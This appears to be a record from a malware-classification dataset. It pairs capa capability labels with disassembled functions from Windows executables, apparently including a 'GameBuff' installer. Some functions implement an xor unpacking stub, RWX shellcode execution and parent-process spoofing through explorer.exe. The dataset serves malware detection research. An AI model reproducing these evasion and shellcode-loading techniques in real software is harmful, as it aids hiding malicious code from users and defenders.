joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x429000
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x422458
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x847228], 0x5b1
push ebx
push esi
push edi
jne 0x401694
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea esi, [ebp - 0x34]
call fcn.00401bf0
push 0
mov dword [ebp - 4], 0
call fcn.00403966
add esp, 4
jmp 0x4015c0
mov eax, dword [0x847228]
add eax, 0x1134b
push eax
push 0
mov dword [0x847228], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x847228]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x84617c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x2710
jge 0x4016e3
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4016d0
mov ecx, dword [0x847228]
xor esi, esi
test ecx, ecx
jbe 0x401759
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401710
mov ecx, dword [0x84722c]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84617c]
mov byte [eax + esi], dl
mov ecx, dword [0x847228]
cmp ecx, 0xa8
jne 0x401754
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x847228]
inc esi
cmp esi, ecx
jb 0x401710
xor eax, eax
jmp 0x401760
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x4017fc
inc eax
cmp eax, 0x39621
jl 0x401760
call fcn.004014c0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x40178d
call fcn.004015a0
inc esi
cmp esi, 0x6753f
jl 0x401781
mov esi, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
nop
cmp dword [0x847228], 0x86
jne 0x4017e0
push 0
push 0
call esi
push 0
push 0x424d48
push str.erixiguxokudepe_vih_nukaxakutepisoxekuposu_nujuf
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x4017b0
call fcn.00401260
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401b90
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x130], ecx
mov byte [ebp - 0xa0], 0
push 0x3f
push 0
lea eax, [ebp - 0x9f]
push eax
call fcn.0043ef50
add esp, 0xc
mov byte [ebp - 0x40], 0
xor ecx, ecx
mov dword [ebp - 0x3f], ecx
mov dword [ebp - 0x3b], ecx
mov dword [ebp - 0x37], ecx
mov dword [ebp - 0x33], ecx
mov dword [ebp - 0x2f], ecx
mov dword [ebp - 0x2b], ecx
mov dword [ebp - 0x27], ecx
mov word [ebp - 0x23], cx
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x60], 0
xor edx, edx
mov dword [ebp - 0x5f], edx
mov dword [ebp - 0x5b], edx
mov dword [ebp - 0x57], edx
mov dword [ebp - 0x53], edx
mov dword [ebp - 0x4f], edx
mov dword [ebp - 0x4b], edx
mov dword [ebp - 0x47], edx
mov word [ebp - 0x43], dx
mov byte [ebp - 0x41], dl
mov byte [ebp - 0xe0], 0
push 0x3f
push 0
lea eax, [ebp - 0xdf]
push eax
call fcn.0043ef50
add esp, 0xc
mov byte [ebp - 0x120], 0
push 0x3f
push 0
lea ecx, [ebp - 0x11f]
push ecx
call fcn.0043ef50
add esp, 0xc
push 1
lea edx, [ebp - 0xa0]
push edx
sub esp, 0x1c
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.004029f0
mov ecx, dword [ebp - 0x130]
call fcn.00401f20
mov ecx, 8
lea esi, [ebp - 0xa0]
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x80]
mov ecx, 8
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x124], 0
jmp 0x401c97
mov ecx, dword [ebp - 0x124]
add ecx, 1
mov dword [ebp - 0x124], ecx
cmp dword [ebp - 0x124], 0x10
jge 0x401cbc
mov edx, dword [ebp - 0x124]
push edx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x40]
push ecx
mov ecx, dword [ebp - 0x130]
call fcn.00401d90
jmp 0x401c88
mov ecx, 8
lea esi, [ebp - 0x60]
lea edi, [ebp - 0xe0]
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
lea esi, [ebp - 0x40]
lea edi, [ebp - 0xc0]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x128], 0
jmp 0x401cf7
mov edx, dword [ebp - 0x128]
add edx, 1
mov dword [ebp - 0x128], edx
cmp dword [ebp - 0x128], 0x40
jge 0x401d23
mov eax, dword [ebp - 0x128]
movsx ecx, byte [eax + 0x4e0a40]
mov edx, dword [ebp - 0x128]
mov al, byte [ebp + ecx - 0xe1]
mov byte [ebp + edx - 0x120], al
jmp 0x401ce8
push 1
push 0x40
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x20]
push edx
mov ecx, dword [ebp - 0x130]
call fcn.004017b0
mov ecx, eax
call fcn.00402bd0
mov ecx, dword [ebp - 0x130]
add ecx, 0x300
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov dword [ecx + 8], edx
mov eax, dword [eax + 0xc]
mov dword [ecx + 0xc], eax
lea ecx, [ebp - 0x20]
call fcn.00402b30
lea ecx, [ebp + 8]
call fcn.00402b30
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x4024d0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov dword [ebp - 0x28], 0
jmp 0x402519
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 0x20
jge 0x402540
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx + 0x4dfcc4]
sub eax, 1
push eax
lea ecx, [ebp + 8]
call fcn.00402bb0
mov ecx, dword [ebp - 0x28]
mov dl, byte [eax]
mov byte [ebp + ecx - 0x24], dl
jmp 0x402510
mov ecx, 8
lea esi, [ebp - 0x24]
mov edi, dword [ebp + 0x24]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
call fcn.00402b30
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret 0x20
Function at 0x408460
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x708
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push str.GameBuffInterUninstallMutex
call fcn.004086a0
mov ecx, eax
call fcn.00412ac0
test eax, eax
jne 0x408499
xor eax, eax
jmp 0x408681
mov dword [ebp - 4], 0
jmp 0x4084ab
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xa
jae 0x4084e3
push 0x4de9a0
call fcn.004086a0
mov ecx, eax
call fcn.00414800
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.GameBuff.exe
call fcn.004086a0
mov ecx, eax
call fcn.004148f0
test eax, eax
jne 0x4084e1
jmp 0x4084e3
jmp 0x4084a2
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.004086a0
mov ecx, eax
call fcn.00414620
call fcn.004086f0
mov ecx, eax
call fcn.00405fe0
test eax, eax
je 0x408598
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.0043ef50
add esp, 0xc
push 0
push 0x1c
lea ecx, [ebp - 0x210]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x210]
add edx, 0xfffffffe
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x704]
mov cx, word [eax + 2]
mov word [ebp - 0x706], cx
add dword [ebp - 0x704], 2
cmp word [ebp - 0x706], 0
jne 0x408548
mov edi, dword [ebp - 0x704]
mov ecx, 0xc
mov esi, str.GameBuff_appconfig.dat
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x210]
push edx
push 0x4dea08
push 0x4dea0c
push str.generate
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
call fcn.004086f0
mov ecx, eax
call fcn.00405d50
test eax, eax
jne 0x4085c4
push str.silent
call fcn.004086a0
add eax, 0xa28
push eax
call fcn.004371de
add esp, 8
test eax, eax
jne 0x4085df
lea ecx, [ebp - 0x211]
call fcn.0040c300
lea ecx, [ebp - 0x211]
call sym.Setup.exe_public_virtual:_void___thiscall_DuiLib::CComboUI::DoInit_void_
jmp 0x40866d
mov eax, dword [ebp + 8]
push eax
call sym.Setup.exe_public:_static_void___cdecl_DuiLib::CPaintManagerUI::SetInstance_struct_HINSTANCE____
add esp, 4
lea ecx, [ebp - 0x700]
call fcn.00408740
push 0
push 0
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push 0x60000
push 0x10cf0000
push 0x4dea44
push 0
lea ecx, [ebp - 0x700]
call fcn.004089d0
test eax, eax
je 0x40864d
lea ecx, [ebp - 0x700]
call sym.Setup.exe_public:_void___thiscall_DuiLib::CWindowWnd::CenterWindow_void_
push 1
lea ecx, [ebp - 0x700]
call sym.Setup.exe_public:_struct_HWND______thiscall_DuiLib::CWindowWnd::operator_struct_HWND____void_const
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call sym.Setup.exe_public:_static_void___cdecl_DuiLib::CPaintManagerUI::MessageLoop_void_
call fcn.0045b000
lea ecx, [ebp - 0x700]
call fcn.00409e40
lea ecx, [ebp - 0x700]
call fcn.004088f0
call fcn.004086a0
mov ecx, eax
call fcn.00412690
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret 0x10
Function at 0x409d70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x40], ecx
push 0x3c
push 0
lea eax, [ebp - 0x3c]
push eax
call fcn.0043ef50
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x440
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], str.open
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 5
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esp, ebp
pop ebp
ret 4

Function at 0x40b7a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x224], ecx
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0043ef50
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 1
push 0
mov eax, dword [ebp + 0xc]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b840
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x220], 0x104
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x21c]
push eax
push 0
push str.SetupPath
mov ecx, dword [ebp - 0x218]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x218]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x214]
call fcn.00403da0
lea ecx, [ebp - 0x214]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00404bd0
lea ecx, [ebp - 0x214]
call fcn.00403e20
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret 8

Function at 0x40c350
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
call fcn.004086f0
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
call fcn.004060e0
test eax, eax
je 0x40c3b4
lea ecx, [ebp - 8]
call fcn.00404bb0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
call fcn.00406200
mov ecx, dword [eax]
push ecx
push str._sUninstall.exe
lea edx, [ebp - 8]
push edx
call fcn.00405220
add esp, 0xc
lea ecx, [ebp - 0xc]
call fcn.00403e20
lea ecx, [ebp - 8]
call sym.Setup.exe_public:_wchar_t_const____thiscall_DuiLib::CDuiString::operator_wchar_t_const__void_const
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea ecx, [ebp - 8]
call fcn.00403e20
mov esp, ebp
pop ebp
ret
Function at 0x40d3b0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], ecx
call fcn.004086f0
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
call fcn.00405ed0
test eax, eax
je 0x40d42f
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0043ef50
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 4
push 0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 3
call fcn.00419a90
add esp, 8
jmp 0x40d43b
push 0
push 1
call fcn.00419a90
add esp, 8
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret

Function at 0x40d580
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x23c], 0
cmp dword [ebp + 8], 0
jne 0x40d5ae
mov eax, dword [ebp - 0x23c]
jmp 0x40d661
mov dword [ebp - 0x238], 0x22c
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0xffffffff
jne 0x40d5dc
mov eax, dword [ebp - 0x23c]
jmp 0x40d661
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x40d64e
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004371de
add esp, 8
test eax, eax
jne 0x40d632
mov ecx, dword [ebp - 0x230]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x23c], eax
jmp 0x40d64e
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x244], eax
jmp 0x40d5f6
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x23c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret

Function at 0x40e610
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov dword [edx], 0x67452301
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp - 4]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret
Function at 0x40e8a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x414], ecx
mov ecx, dword [ebp - 0x414]
call fcn.0040e610
xor eax, eax
mov ecx, dword [ebp - 0x414]
add ecx, 0x68
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x1c], eax
mov byte [ecx + 0x20], al
mov edx, 0x7a7a7a7a
mov eax, dword [ebp - 0x414]
add eax, 0x68
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], edx
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], edx
push 0x4e0e50
mov ecx, dword [ebp + 8]
push ecx
call fcn.00437a6b
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40e97a
mov edx, dword [ebp - 4]
push edx
push 0x400
push 1
lea eax, [ebp - 0x410]
push eax
call fcn.00437e6c
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40e963
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x410]
push edx
mov ecx, dword [ebp - 0x414]
call fcn.0040e660
jmp 0x40e928
mov ecx, dword [ebp - 0x414]
call fcn.0040e770
mov eax, dword [ebp - 4]
push eax
call fcn.00437067
add esp, 4
mov eax, dword [ebp - 0x414]
add eax, 0x68
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret 4

Function at 0x40e9a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x5052a0]
xor eax, ebp
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 4], str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
mov ecx, dword [ebp - 4]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40ea4c
mov byte [ebp - 0x120], 0
push 0x103
push 0
lea edx, [ebp - 0x11f]
push edx
call fcn.0043ef50
add esp, 0xc
push 0x104
lea eax, [ebp - 0x120]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x14], 0x77
mov dword [ebp - 0x10], 4
mov ecx, dword [ebp - 0x10]
push ecx
lea edx, [ebp - 0x14]
push edx
push 4
push 0
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00434ee7
mov esp, ebp
pop ebp
ret
Function at 0x40ed40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40eea2
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
add eax, 2
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
mov dx, word [ecx]
mov word [ebp - 0x26], dx
add dword [ebp - 0x20], 2
cmp word [ebp - 0x26], 0
jne 0x40ed7a
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
sar eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
jne 0x40ede6
mov dword [ebp - 0x30], 0x4dd084
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x30]
mov dx, word [ecx]
mov word [ebp - 0x3a], dx
mov eax, dword [ebp - 0x34]
mov cx, word [ebp - 0x3a]
mov word [eax], cx
mov edx, dword [ebp - 0x30]
add edx, 2
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x34]
add eax, 2
mov dword [ebp - 0x34], eax
cmp word [ebp - 0x3a], 0
jne 0x40edb9
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
add edx, 2
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x40]
mov cx, word [eax]
mov word [ebp - 0x46], cx
add dword [ebp - 0x40], 2
cmp word [ebp - 0x46], 0
jne 0x40edf5
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x44]
sar edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
add edx, 2
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x50]
mov cx, word [eax]
mov word [ebp - 0x56], cx
add dword [ebp - 0x50], 2
cmp word [ebp - 0x56], 0
jne 0x40ee2a
mov edx, dword [ebp - 0x50]
sub edx, dword [ebp - 0x54]
sar edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x14], eax
push 0x104
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
push 0x4dd098
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x18], eax
push 0x104
mov eax, dword [ebp + 0xc]
push eax
push 1
push 0
push 0x4dd0ac
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [ebp - 0x18], 0
jne 0x40ee98
mov dword [ebp - 0xc], 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40eeb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], 0x44
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.0043ef50
add esp, 0xc
mov dword [ebp - 0x34], 1
mov cx, word [ebp + 0x10]
mov word [ebp - 0x30], cx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x18], eax
cmp dword [ebp + 0xc], 0
jne 0x40ef0e
xor eax, eax
jmp 0x40ef45
push 0xffffffffffffffff
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40ef45
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40ef50
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x80], ecx
push str.explorer.exe
call fcn.0040d580
add esp, 4
mov dword [ebp - 0x74], eax
push 0x48
push 0
lea eax, [ebp - 0x70]
push eax
call fcn.0043ef50
add esp, 0xc
mov dword [ebp - 0x70], 0x48
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov edx, dword [ebp - 8]
push edx
call fcn.00434264
add esp, 4
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 8]
push edx
push 0
push 1
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
push 0
push 0
push 4
lea ecx, [ebp - 0x74]
push ecx
push 0x20000
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
jne 0x40efed
xor eax, eax
jmp 0x40f074
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 0x80000
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x40f04c
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x7c]
push eax
call fcn.004358d0
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc